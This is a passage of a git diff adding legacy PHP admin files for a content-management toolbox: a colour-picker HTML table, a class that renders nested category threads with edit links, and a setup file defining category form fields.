+<td bgcolor=#66FF33 onMouseOver=View('66FF33') onClick=Set('66FF33') height="10px" width="10px"></td>
+</tr>
+<tr>
+<td bgcolor=#000000 onMouseOver=View('000000') onClick=Set('000000') height="10px" width="10px"></td>
+<td bgcolor=#666666 onMouseOver=View('666666') onClick=Set('666666') height="10px" width="10px"></td>
+<td bgcolor=#000000 onMouseOver=View('000000') onClick=Set('000000') height="10px" width="10px"></td>
+<td bgcolor=#000066 onMouseOver=View('000066') onClick=Set('000066') height="10px" width="10px"></td>
+<td bgcolor=#003366 onMouseOver=View('003366') onClick=Set('003366') height="10px" width="10px"></td>
+<td bgcolor=#006666 onMouseOver=View('006666') onClick=Set('006666') height="10px" width="10px"></td>
+<td bgcolor=#009966 onMouseOver=View('009966') onClick=Set('009966') height="10px" width="10px"></td>
+<td bgcolor=#00CC66 onMouseOver=View('00CC66') onClick=Set('00CC66') height="10px" width="10px"></td>
+<td bgcolor=#00FF66 onMouseOver=View('00FF66') onClick=Set('00FF66') height="10px" width="10px"></td>
+<td bgcolor=#330066 onMouseOver=View('330066') onClick=Set('330066') height="10px" width="10px"></td>
+<td bgcolor=#333366 onMouseOver=View('333366') onClick=Set('333366') height="10px" width="10px"></td>
+<td bgcolor=#336666 onMouseOver=View('336666') onClick=Set('336666') height="10px" width="10px"></td>
+<td bgcolor=#339966 onMouseOver=View('339966') onClick=Set('339966') height="10px" width="10px"></td>
+<td bgcolor=#33CC66 onMouseOver=View('33CC66') onClick=Set('33CC66') height="10px" width="10px"></td>
+<td bgcolor=#33FF66 onMouseOver=View('33FF66') onClick=Set('33FF66') height="10px" width="10px"></td>
+<td bgcolor=#660066 onMouseOver=View('660066') onClick=Set('660066') height="10px" width="10px"></td>
+<td bgcolor=#663366 onMouseOver=View('663366') onClick=Set('663366') height="10px" width="10px"></td>
+<td bgcolor=#666666 onMouseOver=View('666666') onClick=Set('666666') height="10px" width="10px"></td>
+<td bgcolor=#669966 onMouseOver=View('669966') onClick=Set('669966') height="10px" width="10px"></td>
+<td bgcolor=#66CC66 onMouseOver=View('66CC66') onClick=Set('66CC66') height="10px" width="10px"></td>
+<td bgcolor=#66FF66 onMouseOver=View('66FF66') onClick=Set('66FF66') height="10px" width="10px"></td>
+</tr>
+<tr>
+<td bgcolor=#000000 onMouseOver=View('000000') onClick=Set('000000') height="10px" width="10px"></td>
+<td bgcolor=#999999 onMouseOver=View('999999') onClick=Set('999999') height="10px" width="10px"></td>
+<td bgcolor=#000000 onMouseOver=View('000000') onClick=Set('000000') height="10px" width="10px"></td>
+<td bgcolor=#000099 onMouseOver=View('000099') onClick=Set('000099') height="10px" width="10px"></td>
+<td bgcolor=#003399 onMouseOver=View('003399') onClick=Set('003399') height="10px" width="10px"></td>
+<td bgcolor=#006699 onMouseOver=View('006699') onClick=Set('006699') height="10px" width="10px"></td>
+<td bgcolor=#009999 onMouseOver=View('009999') onClick=Set('009999') height="10px" width="10px"></td>
+<td bgcolor=#00CC99 onMouseOver=View('00CC99') onClick=Set('00CC99') height="10px" width="10px"></td>
+<td bgcolor=#00FF99 onMouseOver=View('00FF99') onClick=Set('00FF99') height="10px" width="10px"></td>
+<td bgcolor=#330099 onMouseOver=View('330099') onClick=Set('330099') height="10px" width="10px"></td>
+<td bgcolor=#333399 onMouseOver=View('333399') onClick=Set('333399') height="10px" width="10px"></td>
+<td bgcolor=#336699 onMouseOver=View('336699') onClick=Set('336699') height="10px" width="10px"></td>
+<td bgcolor=#339999 onMouseOver=View('339999') onClick=Set('339999') height="10px" width="10px"></td>
+<td bgcolor=#33CC99 onMouseOver=View('33CC99') onClick=Set('33CC99') height="10px" width="10px"></td>
+<td bgcolor=#33FF99 onMouseOver=View('33FF99') onClick=Set('33FF99') height="10px" width="10px"></td>
+<td bgcolor=#660099 onMouseOver=View('660099') onClick=Set('660099') height="10px" width="10px"></td>
+<td bgcolor=#663399 onMouseOver=View('663399') onClick=Set('663399') height="10px" width="10px"></td>
+<td bgcolor=#666699 onMouseOver=View('666699') onClick=Set('666699') height="10px" width="10px"></td>
+<td bgcolor=#669999 onMouseOver=View('669999') onClick=Set('669999') height="10px" width="10px"></td>
+<td bgcolor=#66CC99 onMouseOver=View('66CC99') onClick=Set('66CC99') height="10px" width="10px"></td>
+<td bgcolor=#66FF99 onMouseOver=View('66FF99') onClick=Set('66FF99') height="10px" width="10px"></td>
+</tr>
+<tr>
+<td bgcolor=#000000 onMouseOver=View('000000') onClick=Set('000000') height="10px" width="10px"></td>
+<td bgcolor=#CCCCCC onMouseOver=View('CCCCCC') onClick=Set('CCCCCC') height="10px" width="10px"></td>
+<td bgcolor=#000000 onMouseOver=View('000000') onClick=Set('000000') height="10px" width="10px"></td>
+<td bgcolor=#0000CC onMouseOver=View('0000CC') onClick=Set('0000CC') height="10px" width="10px"></td>
+<td bgcolor=#0033CC onMouseOver=View('0033CC') onClick=Set('0033CC') height="10px" width="10px"></td>
+<td bgcolor=#0066CC onMouseOver=View('0066CC') onClick=Set('0066CC') height="10px" width="10px"></td>
+<td bgcolor=#0099CC onMouseOver=View('0099CC') onClick=Set('0099CC') height="10px" width="10px"></td>
+<td bgcolor=#00CCCC onMouseOver=View('00CCCC') onClick=Set('00CCCC') height="10px" width="10px"></td>
+<td bgcolor=#00FFCC onMouseOver=View('00FFCC') onClick=Set('00FFCC') height="10px" width="10px"></td>
+<td bgcolor=#3300CC onMouseOver=View('3300CC') onClick=Set('3300CC') height="10px" width="10px"></td>
+<td bgcolor=#3333CC onMouseOver=View('3333CC') onClick=Set('3333CC') height="10px" width="10px"></td>
+<td bgcolor=#3366CC onMouseOver=View('3366CC') onClick=Set('3366CC') height="10px" width="10px"></td>
+<td bgcolor=#3399CC onMouseOver=View('3399CC') onClick=Set('3399CC') height="10px" width="10px"></td>
+<td bgcolor=#33CCCC onMouseOver=View('33CCCC') onClick=Set('33CCCC') height="10px" width="10px"></td>
+<td bgcolor=#33FFCC onMouseOver=View('33FFCC') onClick=Set('33FFCC') height="10px" width="10px"></td>
+<td bgcolor=#6600CC onMouseOver=View('6600CC') onClick=Set('6600CC') height="10px" width="10px"></td>
+<td bgcolor=#6633CC onMouseOver=View('6633CC') onClick=Set('6633CC') height="10px" width="10px"></td>
+<td bgcolor=#6666CC onMouseOver=View('6666CC') onClick=Set('6666CC') height="10px" width="10px"></td>
+<td bgcolor=#6699CC onMouseOver=View('6699CC') onClick=Set('6699CC') height="10px" width="10px"></td>
+<td bgcolor=#66CCCC onMouseOver=View('66CCCC') onClick=Set('66CCCC') height="10px" width="10px"></td>
+<td bgcolor=#66FFCC onMouseOver=View('66FFCC') onClick=Set('66FFCC') height="10px" width="10px"></td>
+</tr>
+<tr>
+<td bgcolor=#000000 onMouseOver=View('000000') onClick=Set('000000') height="10px" width="10px"></td>
+<td bgcolor=#FFFFFF onMouseOver=View('FFFFFF') onClick=Set('FFFFFF') height="10px" width="10px"></td>
+<td bgcolor=#000000 onMouseOver=View('000000') onClick=Set('000000') height="10px" width="10px"></td>
+<td bgcolor=#0000FF onMouseOver=View('0000FF') onClick=Set('0000FF') height="10px" width="10px"></td>
+<td bgcolor=#0033FF onMouseOver=View('0033FF') onClick=Set('0033FF') height="10px" width="10px"></td>
+<td bgcolor=#0066FF onMouseOver=View('0066FF') onClick=Set('0066FF') height="10px" width="10px"></td>
+<td bgcolor=#0099FF onMouseOver=View('0099FF') onClick=Set('0099FF') height="10px" width="10px"></td>
+<td bgcolor=#00CCFF onMouseOver=View('00CCFF') onClick=Set('00CCFF') height="10px" width="10px"></td>
+<td bgcolor=#00FFFF onMouseOver=View('00FFFF') onClick=Set('00FFFF') height="10px" width="10px"></td>
+<td bgcolor=#3300FF onMouseOver=View('3300FF') onClick=Set('3300FF') height="10px" width="10px"></td>
+<td bgcolor=#3333FF onMouseOver=View('3333FF') onClick=Set('3333FF') height="10px" width="10px"></td>
+<td bgcolor=#3366FF onMouseOver=View('3366FF') onClick=Set('3366FF') height="10px" width="10px"></td>
+<td bgcolor=#3399FF onMouseOver=View('3399FF') onClick=Set('3399FF') height="10px" width="10px"></td>
+<td bgcolor=#33CCFF onMouseOver=View('33CCFF') onClick=Set('33CCFF') height="10px" width="10px"></td>
+<td bgcolor=#33FFFF onMouseOver=View('33FFFF') onClick=Set('33FFFF') height="10px" width="10px"></td>
+<td bgcolor=#6600FF onMouseOver=View('6600FF') onClick=Set('6600FF') height="10px" width="10px"></td>
+<td bgcolor=#6633FF onMouseOver=View('6633FF') onClick=Set('6633FF') height="10px" width="10px"></td>
+<td bgcolor=#6666FF onMouseOver=View('6666FF') onClick=Set('6666FF') height="10px" width="10px"></td>
+<td bgcolor=#6699FF onMouseOver=View('6699FF') onClick=Set('6699FF') height="10px" width="10px"></td>
+<td bgcolor=#66CCFF onMouseOver=View('66CCFF') onClick=Set('66CCFF') height="10px" width="10px"></td>
+<td bgcolor=#66FFFF onMouseOver=View('66FFFF') onClick=Set('66FFFF') height="10px" width="10px"></td>
+</tr>
+<tr>
+<td bgcolor=#000000 onMouseOver=View('000000') onClick=Set('000000') height="10px" width="10px"></td>
+<td bgcolor=#FF0000 onMouseOver=View('FF0000') onClick=Set('FF0000') height="10px" width="10px"></td>
+<td bgcolor=#000000 onMouseOver=View('000000') onClick=Set('000000') height="10px" width="10px"></td>
+<td bgcolor=#990000 onMouseOver=View('990000') onClick=Set('990000') height="10px" width="10px"></td>
+<td bgcolor=#993300 onMouseOver=View('993300') onClick=Set('993300') height="10px" width="10px"></td>
+<td bgcolor=#996600 onMouseOver=View('996600') onClick=Set('996600') height="10px" width="10px"></td>
+<td bgcolor=#999900 onMouseOver=View('999900') onClick=Set('999900') height="10px" width="10px"></td>
+<td bgcolor=#99CC00 onMouseOver=View('99CC00') onClick=Set('99CC00') height="10px" width="10px"></td>
+<td bgcolor=#99FF00 onMouseOver=View('99FF00') onClick=Set('99FF00') height="10px" width="10px"></td>
+<td bgcolor=#CC0000 onMouseOver=View('CC0000') onClick=Set('CC0000') height="10px" width="10px"></td>
+<td bgcolor=#CC3300 onMouseOver=View('CC3300') onClick=Set('CC3300') height="10px" width="10px"></td>
+<td bgcolor=#CC6600 onMouseOver=View('CC6600') onClick=Set('CC6600') height="10px" width="10px"></td>
+<td bgcolor=#CC9900 onMouseOver=View('CC9900') onClick=Set('CC9900') height="10px" width="10px"></td>
+<td bgcolor=#CCCC00 onMouseOver=View('CCCC00') onClick=Set('CCCC00') height="10px" width="10px"></td>
+<td bgcolor=#CCFF00 onMouseOver=View('CCFF00') onClick=Set('CCFF00') height="10px" width="10px"></td>
+<td bgcolor=#FF0000 onMouseOver=View('FF0000') onClick=Set('FF0000') height="10px" width="10px"></td>
+<td bgcolor=#FF3300 onMouseOver=View('FF3300') onClick=Set('FF3300') height="10px" width="10px"></td>
+<td bgcolor=#FF6600 onMouseOver=View('FF6600') onClick=Set('FF6600') height="10px" width="10px"></td>
+<td bgcolor=#FF9900 onMouseOver=View('FF9900') onClick=Set('FF9900') height="10px" width="10px"></td>
+<td bgcolor=#FFCC00 onMouseOver=View('FFCC00') onClick=Set('FFCC00') height="10px" width="10px"></td>
+<td bgcolor=#FFFF00 onMouseOver=View('FFFF00') onClick=Set('FFFF00') height="10px" width="10px"></td>
+</tr>
+<tr>
+<td bgcolor=#000000 onMouseOver=View('000000') onClick=Set('000000') height="10px" width="10px"></td>
+<td bgcolor=#00FF00 onMouseOver=View('00FF00') onClick=Set('00FF00') height="10px" width="10px"></td>
+<td bgcolor=#000000 onMouseOver=View('000000') onClick=Set('000000') height="10px" width="10px"></td>
+<td bgcolor=#990033 onMouseOver=View('990033') onClick=Set('990033') height="10px" width="10px"></td>
+<td bgcolor=#993333 onMouseOver=View('993333') onClick=Set('993333') height="10px" width="10px"></td>
+<td bgcolor=#996633 onMouseOver=View('996633') onClick=Set('996633') height="10px" width="10px"></td>
+<td bgcolor=#999933 onMouseOver=View('999933') onClick=Set('999933') height="10px" width="10px"></td>
+<td bgcolor=#99CC33 onMouseOver=View('99CC33') onClick=Set('99CC33') height="10px" width="10px"></td>
+<td bgcolor=#99FF33 onMouseOver=View('99FF33') onClick=Set('99FF33') height="10px" width="10px"></td>
+<td bgcolor=#CC0033 onMouseOver=View('CC0033') onClick=Set('CC0033') height="10px" width="10px"></td>
+<td bgcolor=#CC3333 onMouseOver=View('CC3333') onClick=Set('CC3333') height="10px" width="10px"></td>
+<td bgcolor=#CC6633 onMouseOver=View('CC6633') onClick=Set('CC6633') height="10px" width="10px"></td>
+<td bgcolor=#CC9933 onMouseOver=View('CC9933') onClick=Set('CC9933') height="10px" width="10px"></td>
+<td bgcolor=#CCCC33 onMouseOver=View('CCCC33') onClick=Set('CCCC33') height="10px" width="10px"></td>
+<td bgcolor=#CCFF33 onMouseOver=View('CCFF33') onClick=Set('CCFF33') height="10px" width="10px"></td>
+<td bgcolor=#FF0033 onMouseOver=View('FF0033') onClick=Set('FF0033') height="10px" width="10px"></td>
+<td bgcolor=#FF3333 onMouseOver=View('FF3333') onClick=Set('FF3333') height="10px" width="10px"></td>
+<td bgcolor=#FF6633 onMouseOver=View('FF6633') onClick=Set('FF6633') height="10px" width="10px"></td>
+<td bgcolor=#FF9933 onMouseOver=View('FF9933') onClick=Set('FF9933') height="10px" width="10px"></td>
+<td bgcolor=#FFCC33 onMouseOver=View('FFCC33') onClick=Set('FFCC33') height="10px" width="10px"></td>
+<td bgcolor=#FFFF33 onMouseOver=View('FFFF33') onClick=Set('FFFF33') height="10px" width="10px"></td>
+</tr>
+<tr>
+<td bgcolor=#000000 onMouseOver=View('000000') onClick=Set('000000') height="10px" width="10px"></td>
+<td bgcolor=#0000FF onMouseOver=View('0000FF') onClick=Set('0000FF') height="10px" width="10px"></td>
+<td bgcolor=#000000 onMouseOver=View('000000') onClick=Set('000000') height="10px" width="10px"></td>
+<td bgcolor=#990066 onMouseOver=View('990066') onClick=Set('990066') height="10px" width="10px"></td>
+<td bgcolor=#993366 onMouseOver=View('993366') onClick=Set('993366') height="10px" width="10px"></td>
+<td bgcolor=#996666 onMouseOver=View('996666') onClick=Set('996666') height="10px" width="10px"></td>
+<td bgcolor=#999966 onMouseOver=View('999966') onClick=Set('999966') height="10px" width="10px"></td>
+<td bgcolor=#99CC66 onMouseOver=View('99CC66') onClick=Set('99CC66') height="10px" width="10px"></td>
+<td bgcolor=#99FF66 onMouseOver=View('99FF66') onClick=Set('99FF66') height="10px" width="10px"></td>
+<td bgcolor=#CC0066 onMouseOver=View('CC0066') onClick=Set('CC0066') height="10px" width="10px"></td>
+<td bgcolor=#CC3366 onMouseOver=View('CC3366') onClick=Set('CC3366') height="10px" width="10px"></td>
+<td bgcolor=#CC6666 onMouseOver=View('CC6666') onClick=Set('CC6666') height="10px" width="10px"></td>
+<td bgcolor=#CC9966 onMouseOver=View('CC9966') onClick=Set('CC9966') height="10px" width="10px"></td>
+<td bgcolor=#CCCC66 onMouseOver=View('CCCC66') onClick=Set('CCCC66') height="10px" width="10px"></td>
+<td bgcolor=#CCFF66 onMouseOver=View('CCFF66') onClick=Set('CCFF66') height="10px" width="10px"></td>
+<td bgcolor=#FF0066 onMouseOver=View('FF0066') onClick=Set('FF0066') height="10px" width="10px"></td>
+<td bgcolor=#FF3366 onMouseOver=View('FF3366') onClick=Set('FF3366') height="10px" width="10px"></td>
+<td bgcolor=#FF6666 onMouseOver=View('FF6666') onClick=Set('FF6666') height="10px" width="10px"></td>
+<td bgcolor=#FF9966 onMouseOver=View('FF9966') onClick=Set('FF9966') height="10px" width="10px"></td>
+<td bgcolor=#FFCC66 onMouseOver=View('FFCC66') onClick=Set('FFCC66') height="10px" width="10px"></td>
+<td bgcolor=#FFFF66 onMouseOver=View('FFFF66') onClick=Set('FFFF66') height="10px" width="10px"></td>
+</tr>
+<tr>
+<td bgcolor=#000000 onMouseOver=View('000000') onClick=Set('000000') height="10px" width="10px"></td>
+<td bgcolor=#FFFF00 onMouseOver=View('FFFF00') onClick=Set('FFFF00') height="10px" width="10px"></td>
+<td bgcolor=#000000 onMouseOver=View('000000') onClick=Set('000000') height="10px" width="10px"></td>
+<td bgcolor=#990099 onMouseOver=View('990099') onClick=Set('990099') height="10px" width="10px"></td>
+<td bgcolor=#993399 onMouseOver=View('993399') onClick=Set('993399') height="10px" width="10px"></td>
+<td bgcolor=#996699 onMouseOver=View('996699') onClick=Set('996699') height="10px" width="10px"></td>
+<td bgcolor=#999999 onMouseOver=View('999999') onClick=Set('999999') height="10px" width="10px"></td>
+<td bgcolor=#99CC99 onMouseOver=View('99CC99') onClick=Set('99CC99') height="10px" width="10px"></td>
+<td bgcolor=#99FF99 onMouseOver=View('99FF99') onClick=Set('99FF99') height="10px" width="10px"></td>
+<td bgcolor=#CC0099 onMouseOver=View('CC0099') onClick=Set('CC0099') height="10px" width="10px"></td>
+<td bgcolor=#CC3399 onMouseOver=View('CC3399') onClick=Set('CC3399') height="10px" width="10px"></td>
+<td bgcolor=#CC6699 onMouseOver=View('CC6699') onClick=Set('CC6699') height="10px" width="10px"></td>
+<td bgcolor=#CC9999 onMouseOver=View('CC9999') onClick=Set('CC9999') height="10px" width="10px"></td>
+<td bgcolor=#CCCC99 onMouseOver=View('CCCC99') onClick=Set('CCCC99') height="10px" width="10px"></td>
+<td bgcolor=#CCFF99 onMouseOver=View('CCFF99') onClick=Set('CCFF99') height="10px" width="10px"></td>
+<td bgcolor=#FF0099 onMouseOver=View('FF0099') onClick=Set('FF0099') height="10px" width="10px"></td>
+<td bgcolor=#FF3399 onMouseOver=View('FF3399') onClick=Set('FF3399') height="10px" width="10px"></td>
+<td bgcolor=#FF6699 onMouseOver=View('FF6699') onClick=Set('FF6699') height="10px" width="10px"></td>
+<td bgcolor=#FF9999 onMouseOver=View('FF9999') onClick=Set('FF9999') height="10px" width="10px"></td>
+<td bgcolor=#FFCC99 onMouseOver=View('FFCC99') onClick=Set('FFCC99') height="10px" width="10px"></td>
+<td bgcolor=#FFFF99 onMouseOver=View('FFFF99') onClick=Set('FFFF99') height="10px" width="10px"></td>
+</tr>
+<tr>
+<td bgcolor=#000000 onMouseOver=View('000000') onClick=Set('000000') height="10px" width="10px"></td>
+<td bgcolor=#00FFFF onMouseOver=View('00FFFF') onClick=Set('00FFFF') height="10px" width="10px"></td>
+<td bgcolor=#000000 onMouseOver=View('000000') onClick=Set('000000') height="10px" width="10px"></td>
+<td bgcolor=#9900CC onMouseOver=View('9900CC') onClick=Set('9900CC') height="10px" width="10px"></td>
+<td bgcolor=#9933CC onMouseOver=View('9933CC') onClick=Set('9933CC') height="10px" width="10px"></td>
+<td bgcolor=#9966CC onMouseOver=View('9966CC') onClick=Set('9966CC') height="10px" width="10px"></td>
+<td bgcolor=#9999CC onMouseOver=View('9999CC') onClick=Set('9999CC') height="10px" width="10px"></td>
+<td bgcolor=#99CCCC onMouseOver=View('99CCCC') onClick=Set('99CCCC') height="10px" width="10px"></td>
+<td bgcolor=#99FFCC onMouseOver=View('99FFCC') onClick=Set('99FFCC') height="10px" width="10px"></td>
+<td bgcolor=#CC00CC onMouseOver=View('CC00CC') onClick=Set('CC00CC') height="10px" width="10px"></td>
+<td bgcolor=#CC33CC onMouseOver=View('CC33CC') onClick=Set('CC33CC') height="10px" width="10px"></td>
+<td bgcolor=#CC66CC onMouseOver=View('CC66CC') onClick=Set('CC66CC') height="10px" width="10px"></td>
+<td bgcolor=#CC99CC onMouseOver=View('CC99CC') onClick=Set('CC99CC') height="10px" width="10px"></td>
+<td bgcolor=#CCCCCC onMouseOver=View('CCCCCC') onClick=Set('CCCCCC') height="10px" width="10px"></td>
+<td bgcolor=#CCFFCC onMouseOver=View('CCFFCC') onClick=Set('CCFFCC') height="10px" width="10px"></td>
+<td bgcolor=#FF00CC onMouseOver=View('FF00CC') onClick=Set('FF00CC') height="10px" width="10px"></td>
+<td bgcolor=#FF33CC onMouseOver=View('FF33CC') onClick=Set('FF33CC') height="10px" width="10px"></td>
+<td bgcolor=#FF66CC onMouseOver=View('FF66CC') onClick=Set('FF66CC') height="10px" width="10px"></td>
+<td bgcolor=#FF99CC onMouseOver=View('FF99CC') onClick=Set('FF99CC') height="10px" width="10px"></td>
+<td bgcolor=#FFCCCC onMouseOver=View('FFCCCC') onClick=Set('FFCCCC') height="10px" width="10px"></td>
+<td bgcolor=#FFFFCC onMouseOver=View('FFFFCC') onClick=Set('FFFFCC') height="10px" width="10px"></td>
+</tr>
+<tr>
+<td bgcolor=#000000 onMouseOver=View('000000') onClick=Set('000000') height="10px" width="10px"></td>
+<td bgcolor=#FF00FF onMouseOver=View('FF00FF') onClick=Set('FF00FF') height="10px" width="10px"></td>
+<td bgcolor=#000000 onMouseOver=View('000000') onClick=Set('000000') height="10px" width="10px"></td>
+<td bgcolor=#9900FF onMouseOver=View('9900FF') onClick=Set('9900FF') height="10px" width="10px"></td>
+<td bgcolor=#9933FF onMouseOver=View('9933FF') onClick=Set('9933FF') height="10px" width="10px"></td>
+<td bgcolor=#9966FF onMouseOver=View('9966FF') onClick=Set('9966FF') height="10px" width="10px"></td>
+<td bgcolor=#9999FF onMouseOver=View('9999FF') onClick=Set('9999FF') height="10px" width="10px"></td>
+<td bgcolor=#99CCFF onMouseOver=View('99CCFF') onClick=Set('99CCFF') height="10px" width="10px"></td>
+<td bgcolor=#99FFFF onMouseOver=View('99FFFF') onClick=Set('99FFFF') height="10px" width="10px"></td>
+<td bgcolor=#CC00FF onMouseOver=View('CC00FF') onClick=Set('CC00FF') height="10px" width="10px"></td>
+<td bgcolor=#CC33FF onMouseOver=View('CC33FF') onClick=Set('CC33FF') height="10px" width="10px"></td>
+<td bgcolor=#CC66FF onMouseOver=View('CC66FF') onClick=Set('CC66FF') height="10px" width="10px"></td>
+<td bgcolor=#CC99FF onMouseOver=View('CC99FF') onClick=Set('CC99FF') height="10px" width="10px"></td>
+<td bgcolor=#CCCCFF onMouseOver=View('CCCCFF') onClick=Set('CCCCFF') height="10px" width="10px"></td>
+<td bgcolor=#CCFFFF onMouseOver=View('CCFFFF') onClick=Set('CCFFFF') height="10px" width="10px"></td>
+<td bgcolor=#FF00FF onMouseOver=View('FF00FF') onClick=Set('FF00FF') height="10px" width="10px"></td>
+<td bgcolor=#FF33FF onMouseOver=View('FF33FF') onClick=Set('FF33FF') height="10px" width="10px"></td>
+<td bgcolor=#FF66FF onMouseOver=View('FF66FF') onClick=Set('FF66FF') height="10px" width="10px"></td>
+<td bgcolor=#FF99FF onMouseOver=View('FF99FF') onClick=Set('FF99FF') height="10px" width="10px"></td>
+<td bgcolor=#FFCCFF onMouseOver=View('FFCCFF') onClick=Set('FFCCFF') height="10px" width="10px"></td>
+<td bgcolor=#FFFFFF onMouseOver=View('FFFFFF') onClick=Set('FFFFFF') height="10px" width="10px"></td>
+</tr>
+</table>
+
+</body></html>
diff --git a/admin/Toolbox/threads.phtml b/admin/Toolbox/threads.phtml
new file mode 100755 (executable)
index 0000000..8871b62
--- /dev/null
@@ -0,0 +1,161 @@
+<?
+/******************************************************************************
+ *
+ *     $Id: threads.phtml,v 1.1.1.1 2006/03/27 14:44:12 cscott Exp $
+ *
+ ******************************************************************************
+ *
+ *     threads.phtml - php class for sorting and displaying multi
+ *     level categories
+ *
+ ******************************************************************************
+ *
+ *     This class takes an array of $threads sorts them based on 
+ *     their parent id.
+ *
+ *****************************************************************************/
+
+
+class Thread
+{    
+       var $beginLevel = "<ul>";
+       var $beginLevel2 = "<ul>";
+    var $endLevel = "</ul>";
+    var $beginItem = "<li>";
+    var $beginItem2 = "<li>";
+    var $endItem = "</li>";
+    var $wholeThread;
+       
+/******************************************************************************
+ *
+ *     Threads(string $code = "")
+ *
+ ******************************************************************************
+ *
+ *     Class constructor       
+ *
+ ******************************************************************************
+ *
+ *     Parameters:
+ *             $code = array(
+ *                             beginLevel      => "",
+ *                             endLevel        => "",
+ *                             beginItem       => "",
+ *                             endItem         => "") 
+ *             
+ *
+ *
+ ******************************************************************************
+ *
+ *     Return value:
+ *             Returns 1 on success 0 on failure 
+ *
+ *****************************************************************************/
+  
+    function Thread($code="")
+    {    
+               if(!empty($code))
+        {    
+                       $this->beginLevel = $code[beginLevel];
+                       $this->beginLevel2 = $code[beginLevel2];
+            $this->endLevel = $code[endLevel];
+            $this->beginItem = $code[beginItem];
+            $this->beginItem2 = $code[beginItem2];
+            $this->endItem = $code[endItem];
+        }
+    }
+
+/******************************************************************************
+ *
+ *     sortChilds(array $threads)
+ *
+ ******************************************************************************
+ *
+ *     Sorts the childs under their parent
+ *
+ ******************************************************************************
+ *
+ *     Parameters:
+ *             $threads array();
+ *
+ ******************************************************************************
+ *
+ *     Return value:
+ *             Returns array $childs
+ *
+ *****************************************************************************/
+    function sortChilds($threads)
+    {    while(list($var, $value) = each($threads))
+            $childs[$value[parent]][$value[ID]] = $value;
+        return $childs;
+    }
+
+/******************************************************************************
+ *
+ *     convertToThreads(array $threads)
+ *
+ ******************************************************************************
+ *     
+ *     Creates the output of the sorted $threads array
+ *
+ ******************************************************************************
+ *
+ *     Parameters:
+ *     
+ *
+ ******************************************************************************
+ *
+ *     Return value:
+ *     
+ *
+ *****************************************************************************/
+    function convertToThread($threads, $thread)
+    {    
+               static $count;
+               if( !$count )
+               {
+                       $this->wholeThread .= $this->beginLevel2;
+               }
+               else
+               {
+                       $this->wholeThread .= $this->beginLevel;
+               }
+        while(list($parent, $value) = each($thread))
+        {    
+                       if( $threads[$parent] && $value['closed'] )
+                       {
+                               $this->wholeThread .= $this->beginItem2;
+                               $this->wholeThread .= '<a href="list_bus_category.phtml?expand='.$value['ID'].'"
+                                       title="Expand"><img border="0" src="images/expand.png"></a> ';
+                       }
+                       elseif( $threads[$parent] && !$value['closed'] )
+                       {
+                               $this->wholeThread .= $this->beginItem2;
+                               $this->wholeThread .= '<a href="list_bus_category.phtml?fold='.$value['ID'].'"
+                                       title="Fold"><img border="0"src="images/collapse.png"></a> ';
+                       }
+                       else
+                       {
+                               $this->wholeThread .= $this->beginItem;
+                       }
+                       $count++;
+                       $this->wholeThread .= "<a href=edit_bus_category.phtml?id=" 
+                       . $value['ID'] .">[Edit]</a>" . "<a href=list_bus.phtml?catid=" 
+                       . $value['ID'] . ">[Paragraphs]</a>" 
+                       . $value[pos] 
+                       . "<b>".$value[active];
+                  $this->wholeThread .= $value['content'] . "</b>" . $this->endItem ."\n";
+                       if( $threads[$parent] && !$value['closed'] )
+                       {
+                $this->convertToThread($threads, $threads[$parent]);
+                       }
+        }
+        $this->wholeThread .= $this->endLevel;
+        return $this->wholeThread;
+    }
+}
+
+
+?>
diff --git a/admin/Toolbox/toolbox_setup.inc b/admin/Toolbox/toolbox_setup.inc
new file mode 100755 (executable)
index 0000000..85843f7
--- /dev/null
@@ -0,0 +1,192 @@
+<?php
+include_once("../../setup.phtml");
+include_once("../../classes/class_template.inc");
+define("TOOLBOX_FLAGS",1);
+$DB =& new GLM_DB();
+if(!$base_parent)
+       {
+               if($catid)
+               {
+                       $conn = db_connect(CONN_STR);
+                       $base_parent = get_parentid($catid,NULL,$conn);
+                       if( $catid == 5 )
+                       {
+                               $base_parent = "support";
+                       }
+               }
+               else
+               {
+                       $base_parent = 0;
+               }
+               if( $catid && GLM_TEMPLATE::is_sub_id( $catid, 6 , &$DB)  )
+               {
+                               $base_parent = "photos";
+               }
+       }
+switch($base_parent)
+       {
+               case "photos":
+                       $fields[] = array( name => "id", title => "id", type => "hide");
+               $fields[] = array( name => "image", title => "Image", type => "img");
+               $fields[] = array( name => "name", title => "Name", type => "text");
+               break;
+               case "support":
+                       $fields[] = array( name => "id", title => "id", type => "hide");
+               $fields[] = array( name => "image", title => "Image", type => "img");
+               $fields[] = array( name => "name", title => "Name", type => "text");
+               $fields[] = array( name => "title", title=> "Title",type => "text");
+               $fields[] = array( name => "org", title => "Organization/Company Name", type => "text");
+               $fields[] = array( name => "phone", title => "Phone", type => "text");
+               $fields[] = array( name => "email", title => "Email", type => "text");
+               $fields[] = array( name => "description", title => "Description", type => "desc");
+               break;
+               default:
+                       $fields[] = array( name => "id", title => "id", type => "hide");
+                       $fields[] = array( name => "name", title => "Header", type => "text");
+                       //$fields[] = array( name => "address", title => "Address", type => "text");
+                       //$fields[] = array( name => "city", title => "City", type => "text");
+               //      $fields[] = array( name => "state", title => "State", type => "text");
+                       //$fields[] = array( name => "zip", title => "Zip", type => "text");
+               //      $fields[] = array( name => "phone", title => "Phone", type => "text");
+               //      $fields[] = array( name => "fax", title => "Fax", type => "text");
+               //      $fields[] = array( name => "email", title => "Email", type => "text");
+               //      $fields[] = array( name => "urlname", title => "URL Name", type => "text");
+               //      $fields[] = array( name => "url", title => "URL", type => "text");
+                       //$fields[] = array( name => "Images and Descriptions", type => "seperator");
+                       $fields[] = array( name => "description", title => "Description", type => "desc");
+                       //$fields[] = array( name => "imagename", title=> "Image Name",type => "text");
+                       $fields[] = array( name => "image", title => "Image", type => "img");
+                       //$fields[] = array( name => "description2", title => "Description 2", type => "desc");
+                       //$fields[] = array( name => "image2name", title=> "Image Name 2",type => "text");
+                       //$fields[] = array( name => "image2", title => "Image 2", type => "img");
+                       //$fields[] = array( name => "description3", title => "Description 3", type => "desc");
+                       //$fields[] = array( name => "image3name", title=> "Image Name 3",type => "text");
+                       //$fields[] = array( name => "image3", title => "Image 3", type => "img");
+                       $fields[] = array( name => "File uploads", type => "seperator");
+                       $fields[] = array( name => "filename", title=> "File Name",type => "text");
+                       $fields[] = array( name => "file", title => "File 1", type => "file");
+                       $fields[] = array( name => "file2name", title=> "File Name 2",type => "text");
+                       $fields[] = array( name => "file2", title => "File 2", type => "file");
+                       $fields[] = array( name => "file3name", title=> "File Name 3",type => "text");
